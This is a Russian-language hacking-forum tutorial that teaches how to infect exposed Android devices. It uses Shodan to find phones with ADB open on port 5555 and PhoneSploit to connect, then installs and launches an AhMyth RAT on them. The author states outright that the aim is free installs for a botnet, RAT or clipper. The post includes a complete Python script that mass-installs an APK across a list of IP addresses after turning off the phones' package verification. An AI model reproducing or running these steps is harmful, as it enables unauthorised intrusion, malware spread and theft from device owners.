Добываем инсталлы для .APK файла при помощи PhoneSploit + Shodan

Добываем инсталлы для .APK файла при помощи PhoneSploit + Shodan

V1rtualGh0st

Привет, сегодня поведаю тебе о способе добычи бесплатных установок для твоего андроид-ботнета/RAT'a/Клиппера и прочей нечисти. В этой статье будет использоваться инструмент под названием PhoneSploit. О его возможностях мы поговорим чуть позже. Прежде чем рассказать о самом способе, сначала расскажу о его плюсах и минусах.​


Плюсы:

  • Это абсолютно бесплатно.
  • Количество инсталлов будет зависеть от вашей продуктивности и кол-ве уязвимых устройств.
  • Так как мы работаем с Shodan, мы можем отфильтровать страны, тем самым убрать СНГ устройства, обезопасив себя от работы по РУ.
  • Всё это дело можно будет автоматизировать, с помощью не сложных скриптов на Python'e.

Минусы:

  • Один из самых огромных минусов является то, что вы, возможно, будете не единственным человеком заразившим уязвимое устройство. Это связано с тем, что список устройств находится в открытом доступе.
  • Для автоматизации нужен будет API ключ для Shodan. (не обязательно, но желательно)

Всю статью я разжую максимально подробно, чтобы у тебя, %username%, не возникли вопросы. Статья делится на 4 этапа, поэтому можно считать это за пошаговый мануал.

Садись поудобнее, мы начинаем!

Android.png



ЭТАП I. Установка PhoneSploit и пару слов об уязвимости.


Уязвимость андроид устройств заключается в ADB.

Android Debug Bridge (adb )- это универсальный инструмент командной строки, который позволяет взаимодействовать с устройством. Команда adb облегчает различные действия устройства, такие как установка и отладка приложений, и предоставляет доступ к оболочке Unix, которую можно использовать для выполнения различных команд на устройстве Обычно разработчики подключаются к службе ADB, установленной на устройствах Android, с помощью USB-кабеля, но также можно использовать ADB wireless, включив daemon-сервер на TCP-порте 5555.

И эксплуатировать эту уязвимость мы будем при помощи PhoneSploit.


PhoneSploit - проект на Python2 с открытым исходным кодом. PhoneSploit может использовать в Android открытые порты Adb. Этот скрипт доступен как для Linux, так и для Windows.

Как и было сказано выше, инструмент можно установить как на Linux, так и на Windows. Приступим к установке.


Спойлер: Установка на WindowsТак как скрипт написан на Python 2-ых версий, соответсвенно устанавливаем именно именно эту версию. Качаем с официального сайта.

Далее переходим в репозиторий на гитхабе, и скачиваем архив со скриптом.

1572676111813.png



Для удобства перекидываем файлы с архивом прямо в папку с питоном, и разархивируем архив abd.rar в текущию директорию. Должно получиться примерно так:


1572676268979.png



Установим необходимую для запуска библиотеку - colorama, командой; pip install colorama


Ну и для теста попробуем запустить скрипт командой: python.exe main.py


1572676339814.png



Спойлер: Установка на Linux.С установкой на Unix системы всё гораздо проще. Открываем терминал, затем поочерёдно вводим следующие команды:


git clone https://github.com/metachar/PhoneSploit

cd PhoneSploit

pip install colorama

python2 main_linux.py

1572676368144.png



И если покажется интерфейс скрипта, то всё прошло гладко.


После установки инструмента, переходим ко второму этапу.


ЭТАП II. Знакомство с Shodan и поиск уязвимых устройств.

Что же представляет собой поисковик SHODAN?


Система SHODAN опрашивает порты подсоединенных к сети машин и собирает выдаваемые в ответ баннеры, после чего индексирует эти баннеры на предмет последующего быстрого отыскания соответствующих устройств. В итоге такой обработки, вместо того, чтобы предоставлять специфический контент страниц, содержащих конкретное поисковое слово запроса, SHODAN помогает своим пользователям отыскивать специфические узлы сети: настольные системы, серверы, роутеры, свитчи, веб-камеры, принтеры и т.д.

Для более "узкого" поиска в Shodan, существует множество фильтров, вот некоторые из них:

  • country: "Код страны" - Служит для отсеивания устройств по определённым странам. Пример: contry: "US"
  • city: "Имя города" - Служит для фильтрации по городам. Пример: city: "New York"
  • product: "Имя/Описание продукта" - Служит для фильтрации по имени или описании продукта. Пример: product:”Android Debug Bridge”

Конечно же эти фильтры можно использовать в связке, тем самым получив максимально нужный диапазон жертв.


Итак, теперь, когда мы познакомились с нашим поисковиком, а также предварительно залогинилсь в нём, покажу нужный нам дорк:

android debug bridge product:”Android Debug Bridge”


После попытки поиска, получаем IP адреса андроид устройств:

1572676588771.png



Устройства найдены, можем приступить к следующему этапу.



ЭТАП III. Обзор функционала PhoneSploit.


Не буду писать про каждый функционал отдельно, поэтому просто посмотри на текст ниже:


Код:Скопировать в буфер обмена

____ __ _____ __ _ __

/ __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_

/ /_/ / __ \/ __ \/ __ \/ _ \__ \/ __ \ / / __ \/ / __/

/ ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_

/_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/

/_/


[ 1 ] показать подключенные устройства [ 6 ] Запись экрана телефона [ 11 ] удаление приложения

[ 2 ] отключить все устройства [ 7 ] снимок экрана на телефоне [ 12 ] показать журнал работы устройства в реальном времени

[ 3 ] подключение нового телефона [ 8 ] перезапуск сервера [ 13 ] дамп информации о системе

[ 4 ] доступ к командной оболочке на телефоне [ 9 ] перенос папок с телефона на ПК [ 14 ] Список всех приложений на телефоне

[ 5 ] Установить apk на телефон [ 10 ] Выключить устройство [ 15 ] запустить приложение

[ 99 ] выход [ 0 ] очистить [ p ] Следующая страница v1. 2

Попробуем подключиться к устройству. Выбираем 3й пункт, далее вводим IP телефона:


1572676684568.png



Проверим подключения, выберем первый пункт:

1572676719186.png



Теперь подготовим билд нашего зверька, загрузим его на телефон. Выбираем 5й пункт, далее вводим прямой путь до .apk файла (я устанавливаю билд AhMyth RAT'a):


1572679914955.png



Всё практически готово, осталось запустить наше приложение. Узнаем список приложений на телефоне выбрав 14й пункт:


1572679981928.png



Среди всех приложений, нам нужно найти имя нашего пакета. Я использовал AhMyth RAT, поэтому быстро нашёл нужный нам пакет:


1572680090775.png



Ну и для запуска выбираем 15й пункт и вводим имя нашего пакета (ВАЖНО: Вводить нужно только имя, в моём случае это: ahmyth.mine.king.ahmyth):


1572680154403.png



Ну и ловим соединие, но уже через РАТ:


1572680458467.png



Этап IV. Автоматизация с помощью скриптов.


Для автоматизации всего этого дела, у меня есть 2 скрипта. Один из них парсит IP'шники с Shodan'a, и находится в открытом доступе. И второй, нужен для автоматизации прогруза apk файла по IP'шникам находящимся в файле.



И так, первый скрипт.


Написан на Python3 и доступен в открытом виде на GitHub.



Спойлер: Установка на WindowsDownload zip: https://github.com/LimerBoy/PS-Grabber/archive/master.zip


Unzip folder PS-Grabber


cd PS-Grabber/


pip install -r requirements.txt


python grabber.py


Спойлер: Установка на Linux.git clone https://github.com/LimerBoy/PS-Grabber.git


cd PS-Grabber/


sudo pip3 install -r requirements.txt


python3 grabber.py


Запускаем скрипт и просто вводим количество страниц, с которых спарсятся IP:


1572680987949.png



В папке logs появится текстовой файл, в котором будут записаны ИПшники.


Скрипт #2.


Нет в паблике, был написан моим знакомым на Python3. Сам скрипт служит для прогруза файла, в коде нужно будет указать полный путь до .apk файла, текстовика с IP'шниками и имя пакета:

1572681633028.png



ВАЖНО! Этот скрипт не работает на Windows машинах, поэтому запускай на линуксе.

Спойлер: Код скриптаPython:Скопировать в буфер обмена

import subprocess
from pathlib import Path
import os
import time

logo = '''
__  ______ ____   ___ ____    _   _            __     ___      _               _  ____ _      ___      _  
\ \/ / ___/ ___| |_ _/ ___|  | | | |__  _   _  \ \   / / |_ __| |_ _   _  __ _| |/ ___| |__  / _ \ ___| |_
  \  /\___ \___ \  | |\___ \  | | | '_ \| | | |  \ \ / /| | '__| __| | | |/ _` | | |  _| '_ \| | | / __| __|
  /  \ ___) |__) | | | ___) | | | | |_) | |_| |   \ V / | | |  | |_| |_| | (_| | | |_| | | | | |_| \__ \ |_
/_/\_\____/____(_)___|____/  | | |_.__/ \__, |    \_/  |_|_|   \__|\__,_|\__,_|_|\____|_| |_|\___/|___/\__|
                              |_|        |___/
                                                                           ________________________________
                                                                          |     Author Telegram: @XazkerBoy
                                                                          |   Logo & Manual by V1rtualGh0st
                                                                          ---------------------------------
'''

print(logo)

apkpath = '/root/PhoneSploit/a.apk'    #Path to the APK file that should be installed
apkpkg = 'system.operating.dominance.proj'    #APK package name (can be seen by installing aapt and running 'aapt dump badging <path-to-apk> | grep package:\ name')
ippath = '/root/results.txt'    #Path with IPs of devices, on which the PAK will be installed
delay = 3

def checkconnect(ip):
    process = subprocess.Popen(['adb', 'connect', ip + ':5555'], stdout=subprocess.PIPE)
    time.sleep(delay)
    data = process.communicate()
    if 'unable to connect' in data[0]:
        os.system('adb disconnect')
        return False
    return True

def install(ip):
    os.system('adb -s ' + ip + ' shell settings put global verifier_verify_adb_installs 0')
    time.sleep(delay)
    os.system('adb -s ' + ip + ' shell settings put global package_verifier_enable 0')
    time.sleep(delay)
    os.system('adb -s ' + ip + ' uninstall ' + apkpkg)
    time.sleep(delay)
    os.system('adb -s ' + ip + ' install ' + apkpath)
    time.sleep(delay)
    os.system('adb -s ' + ip + ' shell monkey -p ' + apkpkg + ' -v 10')
    time.sleep(delay)
    os.system('adb disconnect')

if apkpath == '':
    print('No APK selected!')
    exit()

my_file = Path(apkpath)
if not my_file.exists():
    print('That APK doesnt exist!')
    exit()

if ippath == '':
    print('No file with IPs selected!')
    exit()

my_file = Path(ippath)
if not my_file.exists():
    print('That IP file doesnt exist!')
    exit()

try:
    os.system('adb kill-server')
except:
    print('An error has occured\nMaybe ADB is not installed, please install it and restart the app')
    exit()

os.system('adb tcpip 5555')

f = open(ippath, 'r')

for line in f.readlines():
    if line == '':
        continue

    if not checkconnect(line.strip()):
        print('Could not connect to ' + line.strip())
        continue

    print('Successfully connected to ' + line.strip())

    install(line.strip())

os.system('adb kill-server')
f.close()
print('DONE!')


Имея открытые сурсы обоих скриптов, умельцы смогут объединить эти инструменты в один.



Итоги.

Вот таким нехитрым способом мы сможем распространить свою пакость по андроид-устройствам. На момент написания статьи в Shodan насчитывалось 11.000+ уязвимых, перед ADB, устройств. Вся статья уместилась в 4 этапа, думаю сложностей не должно возникнуть, так как постарался расписать всё максимально подробно и понятно. Но если всё же вопросы остались, можешь задать их либо в этой теме, либо у меня в лс на форуме. На этом всё, удачного спрединга!


Report Page